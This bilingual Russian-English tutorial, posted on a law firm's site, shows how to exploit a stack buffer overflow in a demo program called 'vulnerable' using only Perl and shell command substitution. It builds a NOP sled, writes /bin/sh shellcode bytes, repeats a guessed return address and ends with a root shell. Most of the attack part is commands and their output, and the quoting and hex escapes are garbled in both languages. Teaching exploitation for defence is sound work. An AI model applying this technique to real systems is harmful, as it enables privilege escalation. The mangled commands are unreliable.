Москва
+7-929-527-81-33
Вологда
+7-921-234-45-78
Вопрос юристу онлайн Юридическая компания ЛЕГАС Вконтакте

Эксплойт без кода эксплойта.

Обновлено 12.01.2026 05:47

 

 

Эксплойт без кода эксплойта.

 

Конечно, написав специальную программу-эксплойт для захвата уязвимого приложения, мы добились цели, но имеется определенная привязка к программной и аппаратной платформам. В создании эксплойта принимает участие компилятор, и необходимость вносить изменения в программу с целью настройки эксплойта в некоторой мере лишает процесс эксплуатации уязвимости интерактивности. Для того чтобы действительно глубоко разобраться в этой теме, необходимы исследования и эксперименты, эффективность которых зависит от возможности быстро опробовать разные варианты. Для эксплойта уязвимой программы в действительности достаточно команды print, выполняемой Perl, и подстановки команд в оболочке bash с помощью символов обратных кавычек.

Perl - это интерпретируемый язык программирования, команда print которого очень удобна для создания длинных последовательностей символов. Perl позволяет организовать выполнение инструкций в командной строке с помощью ключа -е:

$ perl -е "print "А" х 20;' АААААААААААААААААААА

Эта команда указывает Perl, что надо выполнить команды, заключенные в одинарные кавычки, в данном случае единственную команду print «А» х 20; ‘. Эта команда 20 раз выводит символ «А».

Любой символ, в том числе неотображаемый, можно напечатать с помощью \х##, где ## представляет шестнадцатеричное значение символа. В следующем примере эта нотация применяется для вывода символа «А», шестнадцатеричное значение которого равно 0x41.

$ perl -е 'print "\х41" х 20; ' АААААААААААААААААААА

Кроме того, конкатенация строк выполняется в Perl с помощью символа точки (.). Это удобно для записи нескольких адресов в одну строку.

$ perl -е 'print "А"х20 . "BCD" . "\х61\х66\х67\х69"х2 . "Z";'

AAAAAAAAAAAAAAAAAAAABCDafgiafgiZ

Подстановка команд выполняется с помощью обратной кавычки \ – символа, выглядящего как наклоненная одинарная кавычка и находящегося на одной клавише с тильдой. Все, что находится внутри пары обратных штрихов, выполняется и замещается полученным результатом. Вот два примера:

$ 'perl -е 'print "uname";'' Linux

$ una'perl -e 'print "m";''e

Linux $

В обоих случаях данные, выводимые командой между обратными кавычками, заменяют саму команду, и выполняется команда uname.

Весь код эксплойта фактически лишь получает указатель стека, строит буфер и передает этот буфер уязвимой программе. Имея в наличии Perl, подстановку в командной строке и приблизительный адрес возврата, всю работу кода эксплойта можно выполнить в командной строке путем запуска уязвимой программы и подстановки в ее первый аргумент создаваемого буфера с помощью обратного штриха.

Сначала надо создать NOP-цепочку. В коде exploit.с под NOP было отведено 200 байт; это хорошее количество, поскольку позволяет угадать адрес возврата с ошибкой до 200 байт. Этот дополнительный простор для угадывания становится теперь еще важнее, поскольку точный адрес указателя стека неизвестен. Вспомним, что шестнадцатеричным кодом команды NOP является 0x90, и создадим цепочку с помощью пары обратных кавычек и Perl следующим образом:

$ ./vulnerable 'perl -е 'print "\х90"х200;''

Теперь к NOP-цепочке нужно добавить шелл-код. Удобно хранить шелл-код в каком-нибудь файле, что мы сейчас и осуществим. Поскольку все байты уже записаны в шестнадцатеричном виде в начале эксплойта, нам достаточно вывести их в файл. Это можно сделать с помощью шестнадцатеричного редактора или перенаправив вывод команды Perl print в файл, как показано здесь:

$ perl -е 'print

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07 \x89\x5b\x08\x89\

x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff \xff\xff\x2f\x62\x69\x6e\x2f\

x73\x68";' > shellcode

После этого шелл-код оказывается в файле с именем «shellcode». Теперь его нетрудно вставить в нужное место с помощью пары обратных кавычек и команды cat. Действуя таким образом, допишем шелл-код к имеющейся NOP-цепочке:

$ ./vulnerable 'perl -е 'print "\х90"х200;'''cat shellcode'

Теперь надо дописать повторенный несколько раз адрес возврата, но с нашим буфером эксплойта уже возникли некоторые проблемы. В коде testexploit.с буфер эксплойта сначала заполнялся адресом возврата. Это гарантировало правильное выравнивание адреса возврата, состоящего из четырех байт. При создании буфера эксплойта в командной строке такое выравнивание надо обеспечить вручную.

Все сводится к следующему: количество байт в NOP-цепочке плюс шелл-код должно делиться на 4. Поскольку шелл-код имеет длину 46 байт, а NOP-цепочка - 200 байт, общая длина составляет 246 байт и не делится на 4. До делимости не хватает 2 байт, поэтому повторяющийся адрес возврата будет смещен на 2 байта, и возврат выполнения произойдет в неожиданное место.

Чтобы правильно выровнять участок повторяющегося адреса возврата, надо добавить еще 2 байта в NOP-цепочку:

$ ./vulnerable 'perl -е 'print "А"х202;' "cat shellcode

Теперь, когда первая часть буфера эксплойта выровнена правильно, можно дописать к ней повторяющийся адрес возврата. Прошлый раз указатель стека имел значение 0xbffff978, которое можно принять в качестве хорошего приближения адреса возврата. Этот адрес можно напечатать как «\x78\xf9\xff\bf». Байты размещаются в обратном порядке в соответствии с архитектурой х86. Эту тонкость можно упустить, если постоянно использовать код эксплойта, автоматически определяющий порядок байтов.

Поскольку размер результирующего буфера эксплойта составляет 600 байт, а NOP-цепочка и шелл-код занимают 248 байт, нетрудно видеть, что адрес возврата надо повторить 88 раз. Для этого добавим еще пару обратных кавычек и команду Perl:

$ ./vulnerable 'perl -е 'print "\х90"х202; '' 'cat shellcode"perl -e 'print "\x78\xf9\xff\

xbf"x88;''

sh-2.05a# whoami

root

sh-2.05a#

Создание эксплойта в командной строке дает больше контроля и гибкости в применении данной техники эксплойта, позволяя провести некоторое экспериментирование. Например, можно усомниться, что для эксплойта программы vulnerable действительно нужны все 600 байт. Эту границу можно быстро определить с помощью командной строки.

$ ./vulnerable 'perl -е 'print "\х90"х202; "'cat shellcode"perl -е 'print "\x68\xf9\xff\

xbf"х68;

$ ./vulnerable 'perl -e 'print "\x90"x202;'''cat shellcode "perl -e 'print "\x68\xf9\xff\

xbf"x69;'' Segmentation fault

$ ./vulnerable 'perl -e 'print "\x90"x202; ' "cat shellcode"perl -e 'print "\x68\xf9\xff\

xbf"x70; ''

sh-2.05a#

В этом примере при первом выполнении просто не возникло аварийной ситуации и произошло нормальное завершение программы, тогда как при втором выполнении адрес возврата был переписан не полностью, что привело к краху программы. Зато в последнем случае адрес возврата был переписан правильно, управление перешло в NOP-цепочку и шелл-код, запустивший root-шелл. Такая степень контроля над буфером эксплойта и немедленное получение результатов экспериментов очень полезны для глубокого понимания системы и техники эксплойта.

Петухов Олег, юрист в области международного права и защиты персональных данных, специалист в области информационной безопасности, защиты информации и персональных данных.

Телеграм-канал: https://t.me/zashchitainformacii

Группа в Телеграм: https://t.me/zashchitainformacii1

Сайт: https://legascom.ru

Электронная почта: online@legascom.ru

#защитаинформации #информационнаябезопасность

 

An exploit without an exploit code.

 

Of course, by writing a special exploit program to capture a vulnerable application, we have achieved our goal, but there is a certain link to the software and hardware platforms. The compiler participates in the creation of the exploit, and the need to make changes to the program in order to configure the exploit to some extent deprives the process of exploiting the vulnerability of interactivity. In order to really understand this topic in depth, research and experiments are needed, the effectiveness of which depends on the ability to quickly try out different options. To exploit a vulnerable program, the print command executed by Perl and the substitution of commands in the bash shell using backquotes are actually sufficient.

Perl is an interpreted programming language, the print command of which is very convenient for creating long sequences of characters. Perl allows you to organize the execution of instructions on the command line using the key -e:

$ perl -e "print"A" x 20;'AAAAAAAAAAAAAAAAAAA

This command tells Perl to execute commands enclosed in single quotes, in this case the single command print "A" x 20; '. This command outputs the character "A" 20 times.

Any character, including unmaintainable ones, can be printed using \x##, where ## represents the hexadecimal value of the character. In the following example, this notation is used to output the character "A", the hexadecimal value of which is 0x41.

$perl -e 'print "\x41" x 20; ' AAAAAAAAAAAAAAAAAAA

In addition, string concatenation is performed in Perl using the dot character (.). This is convenient for writing multiple addresses in one line.

$ perl -e 'print "A"x20 . "BCD" . "\x61\x66\x67\x69"x2 . "Z";'

AAAAAAAAAAAAAAAAAAAABCDafgiafgiZ

Commands are substituted using the backquote \, a character that looks like a tilted single quotation mark and is located on the same key as the tilde. Everything inside the pair of backstrokes is executed and replaced with the resulting result. Here are two examples:

$ 'perl -e 'print "uname";" Linux

$ una'perl -e 'print "m";''e

Linux $

In both cases, the data output by the command between back quotes replaces the command itself, and the uname command is executed.

All the exploit code actually does is get a stack pointer, build a buffer, and pass that buffer to the vulnerable program. With Perl, command line substitution, and an approximate return address available, all the work of the exploit code can be performed on the command line by running the vulnerable program and substituting the created buffer into its first argument using a backstroke.

First you need to create a NOP chain. In the exploit code.200 bytes were allocated from the NOP; this is a good amount, since it allows you to guess the return address with an error of up to 200 bytes. This additional guessing space is now even more important, since the exact address of the stack pointer is unknown. Recall that the hexadecimal code of the NOP command is 0x90, and create a chain using a pair of backquotes and Perl as follows:

$ ./vulnerable 'perl -e 'print "\x90"x200;"

Now you need to add a shell code to the NOP chain. It is convenient to store the shell code in a file, which we will do now. Since all the bytes are already written in hexadecimal at the beginning of the exploit, it's enough for us to output them to a file. This can be done using a hex editor or by redirecting the output of the Perl print command to a file, as shown here:

$perl -e 'print

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\

x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff \xff\xff\x2f\x62\x69\x6e\x2f\

x73\x68";' > shellcode

After that, the shellcode ends up in a file named "shellcode". Now it's easy to insert it in the right place using a pair of backquotes and the cat command. In this way, we add the shellcode to the existing NOP chain:

$./vulnerable 'perl -e 'print "\x90"x200;"'cat shellcode'

Now we need to add the return address that has been repeated several times, but there are already some problems with our exploit buffer. In the testexploit code.The exploit buffer was first filled with the return address. This ensured that the four-byte return address was correctly aligned. When creating an exploit buffer on the command line, this alignment must be done manually.

It all boils down to this: the number of bytes in the NOP chain plus the shellcode must be divisible by 4. Since the shellcode is 46 bytes long and the NOP chain is 200 bytes, the total length is 246 bytes and is not divisible by 4. 2 bytes are missing before divisibility, so the duplicate return address will be shifted by 2 bytes, and execution will return to an unexpected location.

To properly align the section of the repeating return address, add 2 more bytes to the NOP chain:

$ ./vulnerable 'perl -e'print 'A'x202;' "cat shellcode

Now that the first part of the exploit buffer is aligned correctly, you can add a duplicate return address to it. Last time, the stack pointer had the value 0xbffff978, which can be taken as a good approximation of the return address. This address can be printed as "\x78\xf9\xff\bf". The bytes are placed in reverse order according to the x86 architecture. This subtlety can be overlooked if you constantly use exploit code that automatically determines the byte order.

Since the size of the resulting exploit buffer is 600 bytes, and the NOP chain and shell code occupy 248 bytes, it is easy to see that the return address must be repeated 88 times. To do this, add a couple more backquotes and the Perl command:

$ ./vulnerable 'perl -e 'print "\x90"x202; " 'cat shellcode"perl -e'print "\x78\xf9\xff\

xbf"x88;"

sh-2.05a# whoami

root

sh-2.05a#

Creating an exploit on the command line gives you more control and flexibility in using this exploit technique, allowing for some experimentation. For example, it may be doubtful that the exploit of the vulnerable program really needs all 600 bytes. This boundary can be quickly determined using the command line.

$ ./vulnerable 'perl -e 'print "\x90"x202; "'cat shellcode"perl -e 'print "\x68\xf9\xff\

xbf"x68;

$ ./vulnerable 'perl -e 'print "\x90"x202;"'cat shellcode "perl -e 'print "\x68\xf9\xff\

xbf"x69;" Segmentation fault

$ ./vulnerable 'perl -e 'print "\x90"x202; ' "cat shellcode"perl -e 'print "\x68\xf9\xff\

xbf"x70; ''

sh-2.05a#

In this example, the first execution simply did not cause an emergency and the program terminated normally, while the second execution did not completely rewrite the return address, which led to the crash of the program. But in the latter case, the return address was rewritten correctly, control was transferred to the NOP chain and the shell code that launched the root shell. This degree of control over the exploit buffer and the immediate receipt of experimental results are very useful for a deep understanding of the exploit system and technique.

Oleg Petukhov, lawyer in the field of international law and personal data protection, information security specialist security, protection of information and personal data.

Telegram channel: https://t.me/protectioninformation

Telegram Group: https://t.me/informationprotection1

Website: https://legascom.ru

Email: online@legascom.ru

#informationprotection #informationsecurity